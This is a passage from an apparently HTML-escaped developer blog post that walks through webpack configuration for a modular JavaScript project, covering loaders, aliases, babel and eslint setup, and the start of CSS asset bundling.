&lt;span class=&quot;token string&quot;&gt;&apos;src/path/to/moduleA-entry.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; devtool&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; env &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;build&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;source-map&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; output&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Output directory&lt;/span&gt; path&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;dist/moduleA&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; library&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// [hash:6] with add a SHA based on file changes if the env is build&lt;/span&gt; filename&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; env &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; EnvEnum&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;BUILD&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name]-[hash:6].min.js&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name].min.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; libraryTarget&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;umd&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; umdNamedDefine&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; module&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; rules&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resolve&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; alias&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; modules&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Files path which will be referenced while bundling&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;node_modules&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; extensions&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// File types&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; plugins&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Following requirejs format - define how will they be exposed(via expose-loader or exports-loader) and their dependenices(via imports-loader)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; testRules &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/jQuery/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?$&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/base64/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;exports-loader?Base64&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/ModuleSpecificEnum/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?ModuleSpecificEnum&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Following requirejs format - define the paths of the libs/constants/vendor specific to this moduleA only&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; moduleAlias &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;jQuery&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleA/vendor/jquery-3.1.0&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;base64&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleA/vendor/base64&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;ModuleSpecificEnum&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleA/constants/ModuleSpecificEnum&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; rulesAndAliasUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mergeRulesAndUpdate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testRules&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; rulesAndAliasUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mergeAliasAndUpdate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;moduleAlias&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This is a complete webpack config file for bundling JS file for &lt;code class=&quot;language-text&quot;&gt;moduleA&lt;/code&gt;. While configuring it, we defined different options, each one has its own purpose. To know more about each option, please refer &lt;a href=&quot;https://webpack.js.org/configuration/#options&quot;&gt;this&lt;/a&gt;.&lt;/p&gt; &lt;h4 id=&quot;webpack-loaders&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#webpack-loaders&quot; aria-label=&quot;webpack loaders permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Webpack loaders&lt;/h4&gt; &lt;p&gt;Webpack enables the use of loaders to preprocess files. This allows us to bundle any static resource way beyond JavaScript.&lt;/p&gt; &lt;p&gt;We introduced two loaders for bundling JS resources inside our app.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/babel/babel-loader&quot;&gt;babel-loader&lt;/a&gt; - This package allows transpiling JavaScript files using Babel and Webpack. Thanks to babel-loader as we are fearlessly writing ES6 code and updating our mundane code.&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/MoOx/eslint-loader&quot;&gt;eslint-loader&lt;/a&gt; - This package allows identifying and reporting on patterns found in ECMAScript/JavaScript code.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Since we needed these two loaders for all our modules, we defined them in the same file we discussed earlier - &lt;code class=&quot;language-text&quot;&gt;rulesAndAliasUtil.js&lt;/code&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: rulesAndAliasUtil.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; defaultLoaders &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; enforce&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pre&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// to check source files, not modified by other loaders (like babel-loader)&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/(.js)$/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; exclude&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/(node_modules|moduleA\/vendor|moduleB\/lib\/lodash-template.min.js)/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; use&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;eslint-loader&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; emitError&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; emitWarning&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; failOnWarning&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// will not allow webpack to build if eslint warns&lt;/span&gt; failOnError&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// will not allow webpack to build if eslint fails&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/(\.js)$/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; exclude&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/(node_modules)/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; use&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// babel-loader to convert ES6 code to ES5&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;babel-loader&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; presets&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;env&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; plugins&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;And updating the method: &lt;code class=&quot;language-text&quot;&gt;mergeRulesAndUpdate&lt;/code&gt; as follows&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token function-variable function&quot;&gt;mergeRulesAndUpdate&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;testRules&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; config&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testRules &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; genericUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isObject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;config&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; genericUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isArray&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testRules&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; testRules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;moduleRulesAndAlias&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; testRules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testRules&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Default babel-loader and eslint-loader for all js-modules&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;defaultLoaders&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This was all about bundling of JS modules. The same approach was followed for different modules. Now we were left with the bundling of our CSS files and the obvious chores like copying, replacing, etc.&lt;/p&gt; &lt;h3 id=&quot;webpack-bundling-of-css-files&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#webpack-bundling-of-css-files&quot; aria-label=&quot;webpack bundling of css files permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Webpack Bundling of CSS files&lt;/h3&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.moduleA.assets.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; fs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;fs&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;path&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; glob &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;glob-all&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; env &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./../webpack.env&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; EnvEnum &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./../constants/Enums&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;EnvEnum&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// To remove unused css&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; PurifyCSSPlugin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;purifycss-webpack&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Copy Assests to dist&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; CopyWebpackPlugin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;copy-webpack-plugin&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// To generate a file in JSON format so that the hash appended can be later read by another file like one css file is used in multiple files so its hash needs to be stored somewhere to be read so that it can be replaced in corresponding `index.html` files&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; ManifestPlugin &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;webpack-manifest-plugin&apos;&lt;/span&gt;&lt;span class=&quot;token 